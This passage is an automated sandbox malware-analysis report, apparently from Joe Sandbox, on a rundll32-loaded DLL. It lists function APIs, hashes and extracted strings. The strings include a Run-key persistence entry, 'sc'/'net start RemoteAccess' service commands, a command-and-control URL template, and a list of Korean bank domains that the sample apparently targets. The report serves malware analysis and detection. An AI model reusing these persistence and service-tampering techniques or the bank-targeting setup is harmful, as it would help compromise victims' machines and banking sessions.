Opcode Fuzzy Hash: 371d1544536f455d4ff2881a43cd085a9ecfe5f63921b749fa4ab69506bf8e29
Instruction Fuzzy Hash: 42E09275D10060A3F912B760ACCDADE3A21D78A795F074130F709E5156DF34CAD182B2

Function 1000F870 Relevance: 12.2, APIs: 8, Instructions: 169fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,1000FEC7,?), ref: 1000F87E
GetFileSize.KERNEL32(?,00000000,?,00000000,?), ref: 1000F8EB
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,1000FEC7), ref: 1000F90B
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 1000F922
SetFilePointer.KERNEL32(?,00000024,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,1000FEC7), ref: 1000F92B
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 1000F93C
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 1000F95C
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 1000F96D

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID:
API String ID: 2979504256-0
Opcode ID: 859882acb2849d7037477cc4baac1a315585c36ddf65a2636b61d75e7ae6334e
Instruction ID: 75170083ee676786804825bfb6193be50822de76c0b42b9061a3e677b9cbe5b9
Opcode Fuzzy Hash: 859882acb2849d7037477cc4baac1a315585c36ddf65a2636b61d75e7ae6334e
Instruction Fuzzy Hash: C851BFB1A04305AFF314CE94CC81FBBB7E4EF88784F10891CF68597684EAB4E9059B56

Function 1000A7D0 Relevance: 12.2, APIs: 8, Instructions: 164COMMON

Download Yara Rule

APIs

InterlockedDecrement.KERNEL32(?), ref: 1000A8E4
6CEE2C70.MFC42(?), ref: 1000A8FA
InterlockedDecrement.KERNEL32(?), ref: 1000A918
6CEE2C70.MFC42(?), ref: 1000A92E
InterlockedIncrement.KERNEL32(?), ref: 1000A965
InterlockedDecrement.KERNEL32(?), ref: 1000A977
6CEE2C70.MFC42(?,?,?,?,?,?,?,0000000C), ref: 1000A99A
6CEE2C70.MFC42(?,?,?,?,?,?,?,0000000C), ref: 1000A9A3

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: Interlocked$Decrement$Increment
String ID:
API String ID: 2574743344-0
Opcode ID: c26f0b026ed7cb081274be26cba3a652331b1fc049732353bcbaeeb4cd700175
Instruction ID: 3093974cb4f3d434be5fdbb974d372fcb86c240b2bae65a57b53355a280814b6
Opcode Fuzzy Hash: c26f0b026ed7cb081274be26cba3a652331b1fc049732353bcbaeeb4cd700175
Instruction Fuzzy Hash: BE51B0B2A043529BE710DF658885A0EB7E4FB85690F424A2DF485D7205D734EDC5CB92

Function 100090E0 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 91stringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 10009105

Strings

09121307, xrefs: 100091B8
NULL, xrefs: 10009100, 100091E4
ECF4BBEA1588, xrefs: 1000915E, 100091BF
http://, xrefs: 100090FB
%s/joy.asp?sid=%s, xrefs: 100091F0
%s|NULL|%s|%s, xrefs: 100091CB

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: strstr
String ID: %s/joy.asp?sid=%s$%s|NULL|%s|%s$09121307$ECF4BBEA1588$NULL$http://
API String ID: 1392478783-2150159293
Opcode ID: a49b259e51406aef14fd146218e1fac6b9de25d8a0ef98e8ef8312d6623e819d
Instruction ID: ecfe1f19982070fc907945bea6b76d3382d22d52cdee0c44685c771b8a3fb10f
Opcode Fuzzy Hash: a49b259e51406aef14fd146218e1fac6b9de25d8a0ef98e8ef8312d6623e819d
Instruction Fuzzy Hash: 91318F756047416BE724CB78CC01BEBB6D5EBC8344F44893CB74A8A285EF78E544C752

Function 10009000 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 10004B10: GetShortPathNameA.KERNEL32(?,?,?), ref: 10004B1F

Part of subcall function 10004C20: RegCreateKeyExA.KERNEL32(?,?,?,?,?,?,?,?,?,1000906E,80000001,00000000,?), ref: 10004C4D

wsprintfA.USER32 ref: 10009097

Part of subcall function 10004CC0: RegSetValueExA.KERNEL32(?,?,?,?,?,?,100090C2,?,EvtMgr,00000000,00000001,?), ref: 10004CDE

Part of subcall function 10004C60: RegCloseKey.KERNEL32(1000AB02,1000AE3A,80000002,1000AB02,?,?,?,?,74DF0F00), ref: 10004C65

Strings

%s "%s",init, xrefs: 10009091
U29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFJ1bg==, xrefs: 10009056
c:\agtve\yhnvs.dll, xrefs: 1000902F, 10009083
c:\windows\SysWOW64\rundll32.exe, xrefs: 10009088
EvtMgr, xrefs: 100090B7
REG_SZ, xrefs: 1000904F

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: CloseCreateNamePathShortValuewsprintf
String ID: %s "%s",init$EvtMgr$REG_SZ$U29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFJ1bg==$c:\agtve\yhnvs.dll$c:\windows\SysWOW64\rundll32.exe
API String ID: 2251888957-1761549480
Opcode ID: 33cebf139591f84ff6b25fec94bbcb491949b6952fbd0d975d4c5d77bffff605
Instruction ID: 555e9edd79d20669cd6279b5f68c84e268027a48e8a655114ccd52f9ce3fa163
Opcode Fuzzy Hash: 33cebf139591f84ff6b25fec94bbcb491949b6952fbd0d975d4c5d77bffff605
Instruction Fuzzy Hash: EF11ECB56442447BF354C228DC42FEB7698EB84340F800D28B745AA182EBF5E68882A7

Function 10007F84 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 10007F95
_CxxThrowException.MSVCRT(?,100147E8), ref: 10007FCD
lstrlen.KERNEL32(?,?,?,?,?,?), ref: 10007FF3

Strings

mp3, xrefs: 10007FDE
DLLPath, xrefs: 10007FAD

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: ExceptionThrow$lstrlen
String ID: DLLPath$mp3
API String ID: 3990665486-261125002
Opcode ID: 67fd9a1bfb3afa75ed2ed496ef011eb696334ff097cec00f352b52343f7cfdca
Instruction ID: 8c7f6d5efa12be28a40149e6bde7b072a113c2a48185607467365fb246139210
Opcode Fuzzy Hash: 67fd9a1bfb3afa75ed2ed496ef011eb696334ff097cec00f352b52343f7cfdca
Instruction Fuzzy Hash: CB019EB590015AAFDB00CF90CC84DFEB7BCFF88250F408159F205AA140DB79DE818B21

Function 10007FFB Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 27registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?), ref: 10008032

Strings

sc stop RemoteAccess, xrefs: 10008017
sc config RemoteAccess start= auto, xrefs: 1000801F
DLLPath, xrefs: 10007FFD
net start RemoteAccess, xrefs: 10008027

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: Close
String ID: DLLPath$net start RemoteAccess$sc config RemoteAccess start= auto$sc stop RemoteAccess
API String ID: 3535843008-2096816188
Opcode ID: 889d507d1f066a83a2383269c5cb2da371953c18f4bf873c46dcd3b7511ecae1
Instruction ID: f1805eb3d9b1d902160f785e8ff9d521c1139f98b36d7c23839a3f3e2841c964
Opcode Fuzzy Hash: 889d507d1f066a83a2383269c5cb2da371953c18f4bf873c46dcd3b7511ecae1
Instruction Fuzzy Hash: 82E04F75D55128ABE610EF999C85EEB7FACEF442A4F008156F6086A242CB359C50CAF2

Function 1000FA40 Relevance: 7.6, APIs: 5, Instructions: 138fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,75BF8400,00000000,10010D59), ref: 1000FA95
CreateFileA.KERNEL32(?,40000000,00000000,00000000,?,00000080,00000000,?,75BF8400,00000000,10010D59), ref: 1000FAD6

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: b3b746043fca136ba4e81b91f0f512960f4c623e21c03b3bed80360a50ba42b1
Instruction ID: 308ac7dc05e7744f4e081a0bdb9278c18c1066b528d8c71e9578729df1ac5f0e
Opcode Fuzzy Hash: b3b746043fca136ba4e81b91f0f512960f4c623e21c03b3bed80360a50ba42b1
Instruction Fuzzy Hash: ED416AB26057419FE320CF29D884B5BB7ECEB943A9F108A3FF295C6940D370D8959B60

Function 100065E0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

VirtualQueryEx.KERNEL32(00000000,?,?,0000001C), ref: 1000663D
6CEE2C70.MFC42(00000000), ref: 1000666E
ReadProcessMemory.KERNEL32(00000000,?,00000000,?,00000000), ref: 10006697
6CEE2C70.MFC42(00000000), ref: 100066E2
CloseHandle.KERNEL32(00000000), ref: 100066F1

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: CloseHandleMemoryProcessQueryReadVirtual
String ID:
API String ID: 1621033003-0
Opcode ID: ce3c6dad6738674a56033ed313a0acf1917c8ebe045c92598b6288b6f3b7be5a
Instruction ID: 86ba632d18ad3737237f260a16107ce2d7cf70f613dcfd362d55f89863a9b285
Opcode Fuzzy Hash: ce3c6dad6738674a56033ed313a0acf1917c8ebe045c92598b6288b6f3b7be5a
Instruction Fuzzy Hash: DB31BE717043529BE710CF14CC81A2BB3EAFB8A394F10852DF9809B245DB71ED46CB92

Function 10010E90 Relevance: 7.6, APIs: 5, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88411d57cb3e3dbeacca650520ba2354405dbfd77ca187300c3dbeb98fc05c50
Instruction ID: bb61c64e4c2e60018887cf4b21b2b77a56d021ed7f9f06e12eb8ae260fd69302
Opcode Fuzzy Hash: 88411d57cb3e3dbeacca650520ba2354405dbfd77ca187300c3dbeb98fc05c50
Instruction Fuzzy Hash: B90140F5B102158BEB60DF199982B0772E8FF08254F44447AF986CFA05EBB5F884CB52

Function 1000A070 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

InterlockedDecrement.KERNEL32(00000008), ref: 1000A18B
6CEE2C70.MFC42(?,?,?,ROOT\CIMV2), ref: 1000A1AE
6CEE2C70.MFC42(00000000,?,?,ROOT\CIMV2), ref: 1000A1B7

Strings

Win32_NetworkAdapterConfiguration, xrefs: 1000A08B

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: DecrementInterlocked
String ID: Win32_NetworkAdapterConfiguration
API String ID: 3448037634-4052814535
Opcode ID: dcbc64a1a200627460223833506d59ae0a485873ca728d9a28a1fc0d324c7d81
Instruction ID: 49a93a9e5889f4a4d7e19c6da1a56bba55ab2360c9dac4e16cdcecec2b112754
Opcode Fuzzy Hash: dcbc64a1a200627460223833506d59ae0a485873ca728d9a28a1fc0d324c7d81
Instruction Fuzzy Hash: 1541C271A006158FE720DF18C88099AF3E6FB86684F248B19F855DB618E775EDC5CB81

Function 1000A200 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

InterlockedDecrement.KERNEL32(00000008), ref: 1000A20E
6CEE2C70.MFC42(?), ref: 1000A231
6CEE2C70.MFC42(00000000), ref: 1000A23A

Strings

Win32_NetworkAdapterConfiguration, xrefs: 1000A201

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: DecrementInterlocked
String ID: Win32_NetworkAdapterConfiguration
API String ID: 3448037634-4052814535
Opcode ID: a83a43c36c2ad791abc108df72a98b97aa1142c5a07bb070410fceaf22dd0828
Instruction ID: c28a89dc488e9a731896744f18f44f90fe9456c4448bec02802ad89f904d7290
Opcode Fuzzy Hash: a83a43c36c2ad791abc108df72a98b97aa1142c5a07bb070410fceaf22dd0828
Instruction Fuzzy Hash: 5FF065B6A0122157F660CF29AC45B4773DCEF46AE0B024539FC45DB208E775EDC1CA90

Function 100061F0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 124stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 10006246
strchr.MSVCRT ref: 10006310

Strings

www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke, xrefs: 10006211
, xrefs: 10006294

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: strchr
String ID: $www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke
API String ID: 2830005266-1486078621
Opcode ID: 55542ce2e377251f9c8c239b7a9facd4ffdda20855bf5b2e39e9588a7081b524
Instruction ID: 22f4c21b83fa130e3717f09086c4acdffd80da0c0eff8554752984f014423e24
Opcode Fuzzy Hash: 55542ce2e377251f9c8c239b7a9facd4ffdda20855bf5b2e39e9588a7081b524
Instruction Fuzzy Hash: 9431A136604A081B972CC978985566B7AC3FBC4270FA5073DFA6B872C0DEF59E488281

Function 10010C90 Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

6CEE2C70.MFC42(?), ref: 10010D6E
6CEE2C70.MFC42(?), ref: 10010D81
6CEE2C70.MFC42(?), ref: 10010D94
6CEE2C70.MFC42(00000000), ref: 10010DA0

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 024ebd3cf16b86b7db05172b19d3300478f962b870689d7c92be1f1a324c671d
Instruction ID: 76e20ac30a4a5d55d19c4aae950d6c9da367577159c72b0c1becef77eded0a0e
Opcode Fuzzy Hash: 024ebd3cf16b86b7db05172b19d3300478f962b870689d7c92be1f1a324c671d
Instruction Fuzzy Hash: 5441C6F5A043489FCB64CF69988155ABBD0FB48220F94863EF9998B741D7B4E984CB42

Function 1000FE60 Relevance: 6.1, APIs: 4, Instructions: 114timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,00000000), ref: 1000FEA9
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 1000FED6
GetLocalTime.KERNEL32(?), ref: 1000FF10
SystemTimeToFileTime.KERNEL32(?,?), ref: 1000FF20

Part of subcall function 1000F870: GetFileInformationByHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,1000FEC7,?), ref: 1000F87E

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystem
String ID:
API String ID: 3986731826-0
Opcode ID: d76752544ed911a59727a7edf19554d459005f1b391c5dc4058420ad9c283b3b
Instruction ID: ff97dbb23fa899d1f5120cfb08b873e3bb9ee6e36dd1778d440c9f7421c03229
Opcode Fuzzy Hash: d76752544ed911a59727a7edf19554d459005f1b391c5dc4058420ad9c283b3b
Instruction Fuzzy Hash: A54182B1504B459FE310DF29C88096BF7E8FF89354F408A2EF59A83A51D771E909CB61

Function 10011725 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 10011738
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000002,00000000,00000000,?,?,00000000,00000000,10005F05,00000000), ref: 10011764
GetLastError.KERNEL32 ref: 10011774
GetLastError.KERNEL32 ref: 1001177A

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast$ByteCharMultiWidewcslen
String ID:
API String ID: 4237787585-0
Opcode ID: f25346144e8588a17020577504c641a423692082a0a8ff6178c4d9976cd073da
Instruction ID: a60b9fdcdbd7bba2f34e03c5dbd801d92a7e0330a45912f01037cd33475d2502
Opcode Fuzzy Hash: f25346144e8588a17020577504c641a423692082a0a8ff6178c4d9976cd073da
Instruction Fuzzy Hash: 02F0227620815ABDE224E6764C88DAB77ECDB852F87124638F514DE2C2E834EC81C2B0

Function 1000C800 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e57b5a74ef33a4f8e7c02b94979bb301ef9140516089241c3c50ce787c9cd0f2
Instruction ID: 31ee9fb48a3bb8c59739104f7274127136238450a65740f9f2d1a36a531c8075
Opcode Fuzzy Hash: e57b5a74ef33a4f8e7c02b94979bb301ef9140516089241c3c50ce787c9cd0f2
Instruction Fuzzy Hash: FE0167B5A107154BE791CB2CD881F86B3D8EF40298F14403BF8459B715EB74F981CB96

Function 10004FF0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(001F0FFF,00000000,?,?,1000509A,?,74DF0F00), ref: 10004FFD
TerminateProcess.KERNEL32(00000000,00000000), ref: 1000500C
CloseHandle.KERNEL32(00000000), ref: 10005017
CloseHandle.KERNEL32(00000000), ref: 10005024

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: CloseHandleProcess$OpenTerminate
String ID:
API String ID: 6823918-0
Opcode ID: ba73f2dd624f0828aa206dd07c4a16fe15200f4358f6e993a6f0722e7fc0aad8
Instruction ID: 5de784d7574f9188aa6451a23a921ffbe079856f50babf4c989d878cd4bace46
Opcode Fuzzy Hash: ba73f2dd624f0828aa206dd07c4a16fe15200f4358f6e993a6f0722e7fc0aad8
Instruction Fuzzy Hash: 5CE0C2713012306FF6625734AC4CBAF36D4EF0CB52F024200FA06D5186D670CC91C6E1

Function 10005410 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106stringCOMMON

Download Yara Rule

APIs

